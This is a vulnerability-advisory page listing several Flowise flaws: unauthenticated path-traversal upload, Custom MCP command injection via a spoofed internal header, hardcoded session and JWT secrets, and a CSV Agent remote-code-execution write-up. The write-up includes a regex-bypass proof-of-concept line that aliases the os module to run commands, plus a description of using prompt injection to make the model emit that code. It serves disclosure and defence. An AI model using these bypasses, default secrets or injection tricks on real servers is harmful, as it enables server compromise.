CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Flowise through 2.2.4 contains an unauthenticated arbitrary file upload vulnerability in the /api/v1/attachments endpoint when storageType is set to local. Attackers can exploit path traversal in the chatId and chatflowId parameters to upload malicious files to arbitrary directories, potentially enabling remote code execution and server compromise.

First published (updated )
Severity
9.3
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Flowise before 3.0.6 (affected versions 2.2.7-patch.1 and earlier) contains an unsandboxed remote code execution vulnerability in the Custom MCP feature, which is designed to execute OS commands such as launching local MCP servers. Because Flowise's authentication and authorization model is minimal and lacks role-based access control, and the default installation runs without authentication unless FLOWISEUSERNAME and FLOWISEPASSWORD are set, an attacker can send a crafted JSON payload with the header 'x-request-from: internal' to the /api/v1/node-load-method/customMCP endpoint to execute arbitrary OS commands, resulting in complete compromise of the platform container or server.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses a weak hardcoded default secret ('flowise') for the express-session middleware when the EXPRESSSESSIONSECRET environment variable is not set (packages/server/src/enterprise/middleware/passport/index.ts). Because this default secret is publicly visible in the source code, an attacker can forge valid signed session cookies to impersonate any user and bypass authentication.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Flowise before 3.1.0 (affected versions 3.0.13 and earlier) uses weak hardcoded default JWT secrets ('authtoken', 'refreshtoken') and default audience and issuer values ('AUDIENCE', 'ISSUER') in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). When the corresponding environment variables (JWTAUTHTOKENSECRET, JWTREFRESHTOKENSECRET, JWTAUDIENCE, JWTISSUER) are not set, the application silently falls back to these publicly known defaults, allowing an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in authentication bypass.

First published (updated )
Severity
9.2
Input Validation
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Abstract

Trend Micro's Zero Day Initiative has identified a vulnerability affecting FlowiseAI Flowise.

Vulnerability Details

- Version tested: 3.0.13 - Installer file: https://github.com/FlowiseAI/Flowise - Platform tested: Ubuntu 25.10

Analysis

This vulnerability allows remote attackers to execute arbitrary code on affected installations of FlowiseAI Flowise. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the run method of the CSVAgents class. The issue results from the lack of proper sandboxing when evaluating an LLM-generated Python script. An attacker can leverage this vulnerability to execute code in the context of the user running the server.

Product Information

FlowiseAI Flowise version 3.0.13 — https://github.com/FlowiseAI/Flowise

Setup Instructions

bash npm install -g flowise@3.0.13 npx flowise start

Root Cause Analysis

FlowiseAI Flowise is an open source low-code tool for developers to build customized large language model (LLM) applications and AI agents. It supports integration with various LLMs, data sources, and tools in order to facilitate rapid development and deployment of AI solutions. Flowise offers a web interface with a drag-and-drop editor, as well as an API, through an Express web server accessible over HTTP on port 3000/TCP.

One such feature of Flowise is the ability to create chatflows. Chatflows use a drag-and-drop editor that allows a developer to place nodes which control how an interaction with an LLM will occur. One such node is the CSV Agent node that represents an Agent used to answer queries on a provided CSV file.

When a user makes a query against a chatflow using the CSV Agent node, the run method of the CSVAgents class is called. This method first reads the contents of the CSV file passed to the node and converts it to a base64 string. It then sets up a pyodide environment and creates a Python script to be executed in this environment. This Python script uses pandas to extract the column names and their types from the provided CSV file. The method then creates a system prompt for an LLM using this data as follows:

You are working with a pandas dataframe in Python. The name of the dataframe is df.

The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types. {dict}

I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code.

Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs.

Question: {question} Output Code:

Where {dict} is the extracted column names and {question} is the initial prompt provided by the user.

This system prompt is sent to an LLM in order for it to generate a Python script based on the user's prompt, and the LLM-generated response is stored in a variable named pythonCode. The method then evaluates the pythonCode variable in a pyodide environment.

While the LLM-generated Python script is evaluated in a non-sandboxed environment, there is a list of forbidden patterns that are checked before the script is executed on the server. The function validatePythonCodeForDataFrame() enumerates through a list named FORBIDDENPATTERNS, which contains pairs of regex patterns and reasons. Each regex pattern is run against the Python script, and if the pattern is found in the script, the script is invalidated and is not run, responding to the request with a reason for rejection.

The input validation can be bypassed, which can still lead to running arbitrary OS commands on the server. An example of this is the pattern /\bimport\s+(?!pandas|numpy\b)/g, which intends to search for lines of code that import a module other than pandas or numpy. This can be bypassed by importing along with pandas or numpy. For example, consider the following lines of code:

python import pandas as np, os as pandas pandas.system("xcalc")

Here, pandas is imported, but so is the os module, with pandas as its alias. OS commands can then be invoked with pandas.system().

Using prompt injection techniques, an unauthenticated attacker with the ability to send prompts to a chatflow using the CSV Agent node may convince an LLM to respond with a malicious Python script that executes attacker-controlled commands on the Flowise server.

It is also possible for an authenticated attacker to exploit this vulnerability by specifying an attacker-controlled server in a chatflow. This server would respond to prompts with an attacker-controlled Python script instead of an LLM-generated response, which would then be evaluated on the server.

Relevant Source Code

packages/components/nodes/agents/CSVAgent/core.ts

ts import type { PyodideInterface } from 'pyodide' import as path from 'path' import { getUserHome } from '../../../src/utils'

let pyodideInstance: PyodideInterface | undefined

export async function LoadPyodide(): Promise<PyodideInterface> { if (pyodideInstance === undefined) { const { loadPyodide } = await import('pyodide') const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } pyodideInstance = await loadPyodide(obj) await pyodideInstance.loadPackage(['pandas', 'numpy']) }

return pyodideInstance }

export const systemPrompt = You are working with a pandas dataframe in Python. The name of the dataframe is df.

The columns and data types of a dataframe are given below as a Python

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203